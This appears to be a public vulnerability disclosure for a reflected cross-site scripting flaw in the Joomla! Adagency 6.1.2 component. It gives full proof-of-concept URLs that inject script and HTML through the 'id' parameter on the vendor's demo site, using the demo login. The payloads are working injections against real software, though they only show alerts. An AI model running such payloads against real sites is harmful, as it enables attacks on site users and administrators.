Joomla Adagency component version 6.1.2 suffers from a cross site scripting vulnerability.
792debd090405a0b9064363a00337b7a# Exploit Title: Joomla! Adagency V 6.1.2 Cross Site Scripting
# Date: 24.07.2020
# Author: Vincent666 ibn Winnie
# Software Link: https://adagency.ijoomla.com/
# Tested on: Windows 10
# Web Browser: Mozilla Firefox
# Blog : https://pentest-vincent.blogspot.com/
# PoC:https://pentest-vincent.blogspot.com/2020/08/joomla-adagency-v-612-cross-site.html
PoC:
https://ijoomlademo.com
user demo
password demo
Example with xss code injection:
https://ijoomlademo.com/administrator/index.php?option=com_adagency&controller=adagencyAbout&task=vimeo&id=%22%22%3E%3C/iframe%3E%3Cscript%3Ealert(1)%3C/script%3E
Example with xss/html code injection :
https://ijoomlademo.com/administrator/index.php?option=com_adagency&controller=adagencyAbout&task=vimeo&id=%22%22%3E%3C/iframe%3E%3Cscript%3Ealert(1)%3C/script%3E%22%3E%3Cbody%20background=%22https://i.gifer.com/IrM.gif%22%3E%3Cscript%3Ealert(%22Cross%20site%20scripting%20and%20html%20code%20injection%22)%3C/script%3E%3Ciframe%20width=%22540%22%20height=%22450%22%20src=%22http://www.youtube.com/embed/s5_XkjC2fGY%22%20frameborder=%220%22%20allowfullscreen%3E%3C/iframe%3E
Video PoC:
https://www.youtube.com/watch?v=APDqKv88znw
Picture:
https://imgur.com/a/w2attqc
XSS code on the pastebin:
https://pastebin.com/bRSnjZtL